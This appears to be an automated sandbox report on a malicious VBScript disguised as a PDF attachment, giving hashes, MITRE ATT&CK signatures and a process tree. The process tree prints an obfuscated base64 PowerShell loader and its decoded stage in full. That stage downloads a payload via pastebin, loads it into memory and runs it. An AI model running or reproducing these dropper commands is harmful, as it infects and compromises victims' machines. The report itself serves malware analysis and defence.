Resubmissions

31-10-2024 15:26

241031-st7c8sskek 10

31-10-2024 15:08

241031-sht9jasjek 10

Analysis

  • max time kernel
    122s
  • max time network
    128s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    31-10-2024 15:26

General

  • Target

    Ad090512515541511555,PDF.vbs

  • Size

    14.3MB

  • MD5

    5565dd9e27b8d9d3f2c22656193a6a1c

  • SHA1

    f41e89954e0dab2bd7139d5b89a2f80060487a17

  • SHA256

    ec3753896e7a796986bdb9533cfb19481dd02e454fafad31c3c0f026da895afd

  • SHA512

    966ad4fd2fcdcd1bd701a22a391db1ca8beb2af7309cbd49bdf0608b880bbfce3c03f83e9a9342af656d69fe1830526a4118491f83b927a6b34550a96e636f78

  • SSDEEP

    1536:lyyyyyyyyyyyyyyyyyyyyyyyryyyyyyyyyyyyyyyyyyyyyyycyyyyyyyyyyyyyyD:2Z5b

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://pastebin.com/raw/J6uRjZrv

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Ad090512515541511555,PDF.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1064
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT☹Hk☹cwB0☹GU☹bQ☹u☹E4☹ZQB0☹C4☹UwBl☹HI☹dgBp☹GM☹ZQBQ☹G8☹aQBu☹HQ☹TQBh☹G4☹YQBn☹GU☹cgBd☹Do☹OgBT☹GU☹YwB1☹HI☹aQB0☹Hk☹U☹By☹G8☹d☹Bv☹GM☹bwBs☹C☹☹PQ☹g☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBO☹GU☹d☹☹u☹FM☹ZQBj☹HU☹cgBp☹HQ☹eQBQ☹HI☹bwB0☹G8☹YwBv☹Gw☹V☹B5☹H☹☹ZQBd☹Do☹OgBU☹Gw☹cw☹x☹DI☹Ow☹k☹EM☹QwBS☹Gg☹bQ☹g☹D0☹I☹☹n☹Gg☹d☹B0☹H☹☹cw☹6☹C8☹LwBw☹GE☹cwB0☹GU☹YgBp☹G4☹LgBj☹G8☹bQ☹v☹HI☹YQB3☹C8☹Sg☹2☹HU☹UgBq☹Fo☹cgB2☹Cc☹I☹☹7☹CQ☹Zg☹g☹D0☹I☹☹o☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBJ☹E8☹LgBQ☹GE☹d☹Bo☹F0☹Og☹6☹Ec☹ZQB0☹FQ☹ZQBt☹H☹☹U☹Bh☹HQ☹a☹☹o☹Ck☹I☹☹r☹C☹☹JwBk☹Gw☹b☹☹w☹DE☹LgB0☹Hg☹d☹☹n☹Ck☹I☹☹7☹Ek☹bgB2☹G8☹awBl☹C0☹VwBl☹GI☹UgBl☹HE☹dQBl☹HM☹d☹☹g☹C0☹VQBS☹Ek☹I☹☹k☹EM☹QwBS☹Gg☹bQ☹g☹C0☹TwB1☹HQ☹RgBp☹Gw☹ZQ☹g☹CQ☹Zg☹g☹C0☹VQBz☹GU☹QgBh☹HM☹aQBj☹F☹☹YQBy☹HM☹aQBu☹Gc☹I☹☹7☹GM☹bQBk☹C4☹ZQB4☹GU☹I☹☹v☹GM☹I☹☹7☹H☹☹aQBu☹Gc☹I☹☹x☹DI☹Nw☹u☹D☹☹Lg☹w☹C4☹MQ☹g☹Ds☹c☹Bv☹Hc☹ZQBy☹HM☹a☹Bl☹Gw☹b☹☹u☹GU☹e☹Bl☹C☹☹LQBj☹G8☹bQBt☹GE☹bgBk☹C☹☹ew☹k☹GY☹I☹☹9☹C☹☹K☹Bb☹FM☹eQBz☹HQ☹ZQBt☹C4☹SQBP☹C4☹U☹Bh☹HQ☹a☹Bd☹Do☹OgBH☹GU☹d☹BU☹GU☹bQBw☹F☹☹YQB0☹Gg☹K☹☹p☹C☹☹Kw☹g☹Cc☹Z☹Bs☹Gw☹M☹☹x☹C4☹d☹B4☹HQ☹Jw☹p☹C☹☹Ow☹k☹FE☹U☹B0☹GE☹dg☹g☹D0☹I☹☹o☹C☹☹RwBl☹HQ☹LQBD☹G8☹bgB0☹GU☹bgB0☹C☹☹LQBQ☹GE☹d☹Bo☹C☹☹J☹Bm☹C☹☹KQ☹g☹Ds☹SQBu☹HY☹bwBr☹GU☹LQBX☹GU☹YgBS☹GU☹cQB1☹GU☹cwB0☹C☹☹LQBV☹FI☹SQ☹g☹CQ☹UQBQ☹HQ☹YQB2☹C☹☹LQBP☹HU☹d☹BG☹Gk☹b☹Bl☹C☹☹J☹Bm☹C☹☹LQBV☹HM☹ZQBC☹GE☹cwBp☹GM☹U☹Bh☹HI☹cwBp☹G4☹ZwB9☹C☹☹Ow☹k☹FE☹U☹B0☹GE☹dg☹g☹D0☹I☹☹o☹C☹☹RwBl☹HQ☹LQBD☹G8☹bgB0☹GU☹bgB0☹C☹☹LQBQ☹GE☹d☹Bo☹C☹☹J☹Bm☹C☹☹KQ☹g☹Ds☹J☹Bv☹HE☹dQB1☹HQ☹I☹☹9☹C☹☹Jw☹w☹Cc☹I☹☹7☹CQ☹cwB4☹Hg☹cQBk☹C☹☹PQ☹g☹Cc☹JQBK☹Gs☹UQBh☹HM☹R☹Bm☹Gc☹cgBU☹Gc☹JQ☹n☹C☹☹OwBb☹EI☹eQB0☹GU☹WwBd☹F0☹I☹☹k☹HY☹cgBt☹GI☹cQ☹g☹D0☹I☹Bb☹HM☹eQBz☹HQ☹ZQBt☹C4☹QwBv☹G4☹dgBl☹HI☹d☹Bd☹Do☹OgBG☹HI☹bwBt☹EI☹YQBz☹GU☹Ng☹0☹FM☹d☹By☹Gk☹bgBn☹Cg☹I☹☹k☹FE☹U☹B0☹GE☹dg☹u☹HI☹ZQBw☹Gw☹YQBj☹GU☹K☹☹n☹CQ☹J☹☹n☹Cw☹JwBB☹Cc☹KQ☹g☹Ck☹I☹☹7☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBB☹H☹☹c☹BE☹G8☹bQBh☹Gk☹bgBd☹Do☹OgBD☹HU☹cgBy☹GU☹bgB0☹EQ☹bwBt☹GE☹aQBu☹C4☹T☹Bv☹GE☹Z☹☹o☹CQ☹dgBy☹G0☹YgBx☹Ck☹LgBH☹GU☹d☹BU☹Hk☹c☹Bl☹Cg☹JwBU☹GU☹a☹B1☹Gw☹YwBo☹GU☹cwBY☹Hg☹W☹B4☹Hg☹LgBD☹Gw☹YQBz☹HM☹MQ☹n☹Ck☹LgBH☹GU☹d☹BN☹GU☹d☹Bo☹G8☹Z☹☹o☹Cc☹TQBz☹HE☹QgBJ☹GI☹WQ☹n☹Ck☹LgBJ☹G4☹dgBv☹Gs☹ZQ☹o☹CQ☹bgB1☹Gw☹b☹☹s☹C☹☹WwBv☹GI☹agBl☹GM☹d☹Bb☹F0☹XQ☹g☹Cg☹Jw☹w☹C8☹bg☹1☹Gg☹TQB6☹C8☹cg☹v☹GU☹ZQ☹u☹GU☹d☹Bz☹GE☹c☹☹v☹C8☹OgBz☹H☹☹d☹B0☹Gg☹Jw☹g☹Cw☹I☹☹k☹HM☹e☹B4☹HE☹Z☹☹g☹Cw☹I☹☹n☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹Gs☹ZwBs☹G0☹e☹Bf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹XwBf☹F8☹LQ☹t☹C0☹LQ☹t☹C0☹LQ☹n☹Cw☹I☹☹k☹G8☹cQB1☹HU☹d☹☹s☹C☹☹Jw☹x☹Cc☹L☹☹g☹Cc☹UgBv☹GQ☹YQ☹n☹C☹☹KQ☹p☹Ds☹';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('☹','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\Ad090512515541511555,PDF.vbs');powershell $Yolopolhggobek;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2448
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/J6uRjZrv' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$oquut = '0' ;$sxxqd = 'C:\Users\Admin\AppData\Local\Temp\Ad090512515541511555,PDF.vbs' ;[Byte[]] $vrmbq = [system.Convert]::FromBase64String( $QPtav.replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($vrmbq).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/n5hMz/r/ee.etsap//:sptth' , $sxxqd , '_________kglmx___________________________________-------', $oquut, '1', 'Roda' ));"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2708
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c
          4⤵
            PID:2052
          • C:\Windows\system32\PING.EXE
            "C:\Windows\system32\PING.EXE" 127.0.0.1
            4⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:2852
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2608

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

      Filesize

      7KB

      MD5

      084efd70a25c2d20d29267e767915eda

      SHA1

      078f530412a399dfdf810a308eb32d6bc1adccf3

      SHA256

      dd3a4ff072797bf66ed986d72d23c2c244ef28654024aa7700e53200f7edfe08

      SHA512

      aeb0a6f32cedd8c938217c2f134e7db8030e4783d983b94d130bb492cabcf92bee8f815bf7fc395ec0bb11fb4c9c7e07cd73f16d99e348de8cc515d4a47ea099

    • memory/2448-4-0x000007FEF58FE000-0x000007FEF58FF000-memory.dmp

      Filesize

      4KB

    • memory/2448-5-0x000000001B1B0000-0x000000001B492000-memory.dmp

      Filesize

      2.9MB

    • memory/2448-6-0x0000000002310000-0x0000000002318000-memory.dmp

      Filesize

      32KB

    • memory/2448-7-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

      Filesize

      9.6MB

    • memory/2448-8-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

      Filesize

      9.6MB

    • memory/2448-9-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

      Filesize

      9.6MB

    • memory/2448-10-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

      Filesize

      9.6MB

    • memory/2448-16-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

      Filesize

      9.6MB

    • memory/2448-17-0x000007FEF58FE000-0x000007FEF58FF000-memory.dmp

      Filesize

      4KB

    • memory/2448-23-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

      Filesize

      9.6MB